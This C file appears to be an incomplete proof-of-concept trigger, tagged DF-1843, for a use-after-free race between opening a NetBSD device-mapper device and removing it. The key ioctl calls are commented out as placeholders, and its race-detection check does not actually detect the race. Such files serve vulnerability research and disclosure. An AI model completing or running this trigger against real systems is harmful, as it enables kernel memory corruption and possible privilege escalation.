/*
 * DF-1843 trigger: race dmopen against dm_dev_remove_ioctl to leave
 * an open fd with dev->si_drv1 pointing to a freed dm_dev_t.
 *
 * Requires: device dm, /dev/mapper/control (mode 0640 root:operator),
 * operator group membership, and ability to open the DM block device.
 *
 * Build:  cc -o dm_uaf dm_uaf.c -lprop
 * Run:    ./dm_uaf
 *
 * NOTE: This is a race-condition trigger skeleton. The actual proplib
 * dictionary construction for NETBSD_DM_IOCTL is environment-specific;
 * this file documents the race logic for the PoC runner.
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

/* NETBSD_DM_IOCTL is a proplib-based ioctl; the exact ioctl number and
 * dictionary format are defined in sys/dev/disk/dm/dm.h. The PoC runner
 * should use libprop to construct the create/reload/resume/remove dicts. */

static volatile int stop = 0;
static volatile int race_won = 0;
static const char *blockdev = "/dev/mapper/race0";

static void *opener(void *arg)
{
    (void)arg;
    while (!stop && !race_won) {
        int fd = open(blockdev, O_RDWR);
        if (fd >= 0) {
            /* Race may have been won: dev->si_drv1 may be dangling.
             * Trigger I/O to dereference the freed dmv. */
            char buf[512];
            if (pread(fd, buf, sizeof(buf), 0) >= 0) {
                race_won = 1;
            }
            close(fd);
        }
        usleep(1);
    }
    return NULL;
}

static void *remover(void *arg)
{
    int ctl = *(int *)arg;
    (void)ctl;
    while (!stop && !race_won) {
        /* Issue NETBSD_DM_IOCTL with proplib dict:
         *   { command: "remove", name: "race0" }
         * If it returns 0, the device was removed; recreate and retry.
         * The race is won if the remove succeeds while opener has an
         * fd that was opened in the window between dm_dev_lookup and
         * is_open=1. */
        /* ioctl(ctl, NETBSD_DM_IOCTL, &remove_dict); */
        usleep(1);
    }
    return NULL;
}

int main(void)
{
    /* Setup: create DM device "race0" with a linear table pointing at
     * any available block device. Then race open vs remove. */
    printf("DF-1843: dmopen vs dm_dev_remove_ioctl UAF race\n");
    printf("Run as operator group member with /dev/mapper/control access.\n");
    printf("This skeleton documents the race; the PoC runner must fill in\n");
    printf("the proplib NETBSD_DM_IOCTL dictionaries for create/remove.\n");

    pthread_t t_open, t_remove;
    int ctl = -1; /* open("/dev/mapper/control", O_RDONLY); */
    pthread_create(&t_open, NULL, opener, NULL);
    pthread_create(&t_remove, NULL, remover, &ctl);

    sleep(30);
    stop = 1;
    pthread_join(t_open, NULL);
    pthread_join(t_remove, NULL);
    return 0;
}
